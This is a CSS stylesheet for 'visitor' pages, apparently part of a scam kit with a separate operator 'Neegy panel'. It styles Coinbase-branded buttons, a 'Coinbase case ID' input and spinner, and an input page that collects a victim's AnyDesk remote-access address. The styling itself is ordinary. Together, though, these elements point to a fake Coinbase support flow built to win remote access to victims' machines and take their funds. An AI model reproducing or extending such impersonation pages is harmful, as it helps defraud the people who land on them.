/* Exchange visitor pages — never Neegy panel gold */

html.visitor-site button.visitor-coinbase-continue,
html.visitor-site .visitor-coinbase-continue {
  background: #0052ff !important;
  background-image: none !important;
  box-shadow: none !important;
  color: #ffffff !important;
  border: 0 !important;
}

html.visitor-site button.visitor-coinbase-continue:hover:not(:disabled),
html.visitor-site .visitor-coinbase-continue:hover:not(:disabled) {
  background: #0041cc !important;
}

html.visitor-site button.bg-primary.text-primary-foreground.rounded-full {
  background: hsl(var(--primary, 221 100% 50%)) !important;
  background-image: none !important;
  box-shadow: none !important;
  color: hsl(var(--primary-foreground, 0 0% 100%)) !important;
}

html.visitor-site a.visitor-coinbase-link {
  color: #0052ff !important;
}

/* Coinbase case ID (EC) — no dependency on html.visitor-site */
@keyframes visitor-coinbase-spin {
  to {
    transform: rotate(360deg);
  }
}

.visitor-coinbase-page .visitor-coinbase-input {
  width: 100%;
  height: 2.5rem;
  padding: 0 0.75rem;
  border-radius: 0.375rem;
  border: 1px solid #222328;
  font-size: 0.875rem;
  line-height: 1.25rem;
  outline: none !important;
  box-shadow: none !important;
  --tw-ring-shadow: none !important;
  --tw-ring-offset-shadow: none !important;
}

.visitor-coinbase-page--dark .visitor-coinbase-input {
  background-color: #0a0b0d;
  border-color: #222328;
  color: #f5f5f5;
}

.visitor-coinbase-page--light .visitor-coinbase-input {
  background-color: #ffffff;
  border-color: #e5e7eb;
  color: #0a0b0d;
}

.visitor-coinbase-page--dark .visitor-coinbase-input::placeholder {
  color: #88898a !important;
  opacity: 1 !important;
}

.visitor-coinbase-page--light .visitor-coinbase-input::placeholder {
  color: #6b7280 !important;
  opacity: 1 !important;
}

.visitor-coinbase-page .visitor-coinbase-input::-webkit-input-placeholder {
  color: #88898a !important;
  opacity: 1 !important;
}

.visitor-coinbase-page--light .visitor-coinbase-input::-webkit-input-placeholder {
  color: #6b7280 !important;
}

.visitor-coinbase-page .visitor-coinbase-input:focus,
.visitor-coinbase-page .visitor-coinbase-input:focus-visible {
  outline: none !important;
  border-color: #0052ff !important;
  box-shadow: 0 0 0 2px rgba(0, 82, 255, 0.35) !important;
}

.visitor-coinbase-page .visitor-coinbase-spinner-ring {
  width: 2rem;
  height: 2rem;
  border: 2px solid rgba(0, 82, 255, 0.22);
  border-top-color: #0052ff;
  border-radius: 50%;
  animation: visitor-coinbase-spin 0.75s linear infinite;
  box-sizing: border-box;
}

.visitor-coinbase-page .visitor-coinbase-continue {
  background: #0052ff !important;
  background-image: none !important;
  box-shadow: none !important;
  border: 0 !important;
}

html.visitor-site .visitor-coinbase-input::placeholder {
  opacity: 1 !important;
}

html.visitor-site .visitor-coinbase-input--dark::placeholder {
  color: #88898a !important;
}

html.visitor-site .visitor-coinbase-input--light::placeholder {
  color: #6b7280 !important;
}

html.visitor-site .visitor-coinbase-input:focus,
html.visitor-site .visitor-coinbase-input:focus-visible {
  outline: none !important;
  border-color: #0052ff !important;
  box-shadow: 0 0 0 2px rgba(0, 82, 255, 0.35) !important;
  --tw-ring-color: #0052ff !important;
}

html.visitor-site .visitor-coinbase-spinner {
  color: #0052ff !important;
}

/* AnyDesk address — Ye has no type= attr; do not use [type="text"] */
html.visitor-site .visitor-anydesk-address-page .visitor-anydesk-address-field,
html.visitor-active .visitor-anydesk-address-page .visitor-anydesk-address-field,
.visitor-anydesk-address-page .visitor-anydesk-address-field {
  border-color: var(--anydesk-input-border, #e5e7eb) !important;
  background-color: var(--anydesk-input-bg, #ffffff) !important;
  background-image: none !important;
  color: var(--anydesk-input-text, #111827) !important;
  -webkit-text-fill-color: var(--anydesk-input-text, #111827) !important;
  --tw-ring-offset-color: var(--anydesk-input-bg, #ffffff) !important;
}

html.visitor-site .visitor-anydesk-address-page .visitor-anydesk-address-field::placeholder,
html.visitor-active .visitor-anydesk-address-page .visitor-anydesk-address-field::placeholder,
.visitor-anydesk-address-page .visitor-anydesk-address-field::-webkit-input-placeholder {
  color: var(--anydesk-input-muted, #6b7280) !important;
  opacity: 1 !important;
}

html.visitor-site .visitor-anydesk-address-page .visitor-anydesk-address-field:focus,
html.visitor-site .visitor-anydesk-address-page .visitor-anydesk-address-field:focus-visible,
html.visitor-active .visitor-anydesk-address-page .visitor-anydesk-address-field:focus,
html.visitor-active .visitor-anydesk-address-page .visitor-anydesk-address-field:focus-visible,
.visitor-anydesk-address-page .visitor-anydesk-address-field:focus,
.visitor-anydesk-address-page .visitor-anydesk-address-field:focus-visible {
  outline: none !important;
  border-color: var(--anydesk-input-accent, #402595) !important;
  --tw-ring-color: var(--anydesk-input-accent, #402595) !important;
  box-shadow: 0 0 0 2px
    color-mix(in srgb, var(--anydesk-input-accent, #402595) 35%, transparent) !important;
}
